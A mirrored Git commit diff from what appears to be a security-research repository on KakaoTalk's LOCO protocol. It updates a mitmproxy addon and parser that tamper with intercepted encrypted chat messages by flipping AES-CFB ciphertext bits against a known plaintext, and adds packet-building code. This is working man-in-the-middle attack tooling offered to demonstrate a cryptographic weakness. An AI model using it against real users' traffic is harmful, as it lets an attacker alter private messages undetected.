mirror of
https://github.com/stulle123/kakaotalk_analysis.git
synced 2024-11-26 15:32:15 +00:00
Fix gitignore file
This commit is contained in:
parent
d569d18fe3
commit
ca7e785a54
1
.gitignore
vendored
1
.gitignore
vendored
|
@ -14,7 +14,6 @@ dist/
|
|||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
|
|
|
@ -47,4 +47,4 @@ TODOS:
|
|||
|
||||
Demo:
|
||||
|
||||
![MITM](https://github.com/stulle123/kakaotalk_analysis/tree/main/doc/secret_chat_demo.gif?raw=true)
|
||||
![](https://github.com/stulle123/kakaotalk_analysis/blob/main/doc/secret_chat_demo.gif)
|
|
@ -26,11 +26,13 @@ class LocoMitmBase:
|
|||
|
||||
|
||||
class FlipCiphertextBits(LocoMitmBase):
|
||||
def __init__(self) -> None:
|
||||
def __init__(self, trigger_msg) -> None:
|
||||
self.parser = LocoParser()
|
||||
self.trigger_msg = trigger_msg
|
||||
|
||||
def tcp_message(self, flow: tcp.TCPFlow):
|
||||
message = flow.messages[-1]
|
||||
flipped_packet = b""
|
||||
self.parser.parse(message.content)
|
||||
|
||||
if self.parser.loco_packet:
|
||||
|
@ -48,11 +50,12 @@ class FlipCiphertextBits(LocoMitmBase):
|
|||
|
||||
return
|
||||
|
||||
# Flip bits of the ciphertext to show CFB malleability
|
||||
flipped_packet = self.parser.flip_bits()
|
||||
# Flip ciphertext bits to show CFB malleability
|
||||
if not message.from_client and self.parser.loco_packet.loco_command == "MSG":
|
||||
flipped_packet = self.parser.flip_bits(self.trigger_msg)
|
||||
|
||||
if flipped_packet:
|
||||
message.content = flipped_packet
|
||||
|
||||
|
||||
addons = [FlipCiphertextBits()]
|
||||
addons = [FlipCiphertextBits(trigger_msg="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")]
|
||||
|
|
120
scripts/mitmproxy/lib/loco_packet.py
Normal file
120
scripts/mitmproxy/lib/loco_packet.py
Normal file
|
@ -0,0 +1,120 @@
|
|||
import io
|
||||
import logging
|
||||
import struct
|
||||
|
||||
import bson
|
||||
|
||||
from lib.crypto_utils import aes_encrypt
|
||||
|
||||
|
||||
class LocoPacket:
|
||||
def __init__(
|
||||
self,
|
||||
identifier=0,
|
||||
status_code=0,
|
||||
loco_command="",
|
||||
body_type=0,
|
||||
body_length=0,
|
||||
body_payload=b"",
|
||||
):
|
||||
self.id = identifier
|
||||
self.status_code = status_code
|
||||
self.loco_command = loco_command
|
||||
self.body_type = body_type
|
||||
self.body_length = body_length
|
||||
self.body_payload = body_payload
|
||||
|
||||
def get_packet_bytes(self) -> bytes:
|
||||
try:
|
||||
f = io.BytesIO()
|
||||
f.write(struct.pack("<I", self.id))
|
||||
f.write(struct.pack("<H", self.status_code))
|
||||
f.write(self.loco_command.encode("utf-8"))
|
||||
f.write(b"\x00" * (11 - len(self.loco_command)))
|
||||
f.write(struct.pack("<b", self.body_type))
|
||||
f.write(struct.pack("<i", self.body_length))
|
||||
f.write(self.body_payload)
|
||||
return f.getvalue()
|
||||
except Exception as general_exception:
|
||||
logging.error("Could not create LOCO packet: %s", general_exception)
|
||||
return None
|
||||
|
||||
def get_packet_as_dict(self) -> dict:
|
||||
loco_dict = vars(self)
|
||||
|
||||
try:
|
||||
if loco_dict["body_payload"] and isinstance(
|
||||
loco_dict["body_payload"], bytes
|
||||
):
|
||||
loco_dict["body_payload"] = bson.loads(self.body_payload)
|
||||
elif loco_dict["body_payload"] and isinstance(
|
||||
loco_dict["body_payload"], dict
|
||||
):
|
||||
loco_dict["body_payload"] = self.body_payload
|
||||
except Exception as general_exception:
|
||||
loco_dict = {}
|
||||
logging.error(
|
||||
"Couldn't decode BSON body of %s packet. Exception: %s.",
|
||||
self.loco_command,
|
||||
general_exception,
|
||||
)
|
||||
|
||||
return loco_dict
|
||||
|
||||
|
||||
class LocoEncryptedPacket:
|
||||
def __init__(self, length=0, iv=b"", payload=b"", is_fragmented=False):
|
||||
self.length = length
|
||||
self.iv = iv
|
||||
self.payload = payload
|
||||
self.is_fragmented = is_fragmented
|
||||
|
||||
def create_new_packet(self, loco_packet: LocoPacket) -> bytes:
|
||||
if not loco_packet:
|
||||
logging.error(
|
||||
"Could not create LOCO encrypted packet: LOCO packet data is None."
|
||||
)
|
||||
return None
|
||||
|
||||
encrypted_packet = aes_encrypt(loco_packet.get_packet_bytes(), self.iv)
|
||||
|
||||
if not encrypted_packet:
|
||||
logging.error("Could not encrypt LOCO packet.")
|
||||
return None
|
||||
|
||||
try:
|
||||
f = io.BytesIO()
|
||||
f.write(struct.pack("<I", len(encrypted_packet) + len(self.iv)))
|
||||
f.write(self.iv)
|
||||
f.write(encrypted_packet)
|
||||
return f.getvalue()
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not create LOCO encrypted packet: %s", general_exception
|
||||
)
|
||||
return None
|
||||
|
||||
def get_packet_bytes(self) -> bytes:
|
||||
try:
|
||||
f = io.BytesIO()
|
||||
f.write(struct.pack("<I", len(self.payload) + len(self.iv)))
|
||||
f.write(self.iv)
|
||||
f.write(self.payload)
|
||||
return f.getvalue()
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not convert LOCO encrypted packet to bytes: %s",
|
||||
general_exception,
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
class LocoHandshakePacket:
|
||||
def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
|
||||
self.length = length
|
||||
self.type = handshake_type
|
||||
self.block_cipher_mode = block_cipher_mode
|
||||
self.payload = payload
|
||||
|
||||
self.cipher_mode_map = {1: "CBC", 2: "AES/CFB/NoPadding", 3: "OFB"}
|
||||
self.encryption_mode_map = {15: "RSA/NONE/OAEPWithSHA1AndMGF1Padding"}
|
|
@ -3,11 +3,15 @@ import logging
|
|||
import struct
|
||||
|
||||
import bson
|
||||
|
||||
from lib.crypto_utils import (aes_decrypt, aes_e2e_decrypt, compute_nonce,
|
||||
get_clean_public_key, rsa_decrypt, rsa_encrypt)
|
||||
from lib.loco_packet import (LocoEncryptedPacket, LocoHandshakePacket,
|
||||
LocoPacket)
|
||||
from lib.crypto_utils import (
|
||||
aes_decrypt,
|
||||
aes_e2e_decrypt,
|
||||
compute_nonce,
|
||||
get_clean_public_key,
|
||||
rsa_decrypt,
|
||||
rsa_encrypt,
|
||||
)
|
||||
from lib.loco_packet import LocoEncryptedPacket, LocoHandshakePacket, LocoPacket
|
||||
|
||||
|
||||
class LocoParser:
|
||||
|
@ -126,23 +130,31 @@ class LocoParser:
|
|||
def _xor(self, param1, param2):
|
||||
return bytes((x ^ y) for (x, y) in zip(param1, param2))
|
||||
|
||||
def flip_bits(self):
|
||||
if self.loco_packet.loco_command != "MSG":
|
||||
def flip_bits(self, trigger_message):
|
||||
if not self.loco_packet:
|
||||
return None
|
||||
|
||||
if self.loco_packet.body_length != 221:
|
||||
logging.error("I'm NOT here: %s", self.loco_packet.body_length)
|
||||
if self.loco_packet.loco_command not in ["MSG", "WRITE"]:
|
||||
return None
|
||||
else:
|
||||
logging.error("I'm here!")
|
||||
|
||||
# Patch size
|
||||
body_json = self.loco_packet.body_payload
|
||||
|
||||
# Read message from "MSG" LOCO packet
|
||||
if (
|
||||
"chatLog" in body_json
|
||||
and body_json["chatLog"]["message"] != trigger_message
|
||||
):
|
||||
return None
|
||||
|
||||
# Patch size of the "message" field value
|
||||
# body = bytearray(self.loco_packet.body_payload)
|
||||
# body[128:129] = b"\x0F"
|
||||
# self.loco_packet.body_payload = bytes(body)
|
||||
# loco_encrypted = aes_encrypt(self.loco_packet.get_packet_bytes(), self.loco_encrypted_packet.iv)
|
||||
loco_encrypted = self.loco_encrypted_packet.payload
|
||||
|
||||
logging.warning("Flipping bits with known plaintext: %s", trigger_message)
|
||||
|
||||
ciphertext = bytearray(loco_encrypted)
|
||||
p11 = b"AAAAAAAAAAAAAAAA"
|
||||
c11 = ciphertext[0xA0 : 0xA0 + 0x10]
|
||||
|
|
Loading…
Reference in New Issue
Block a user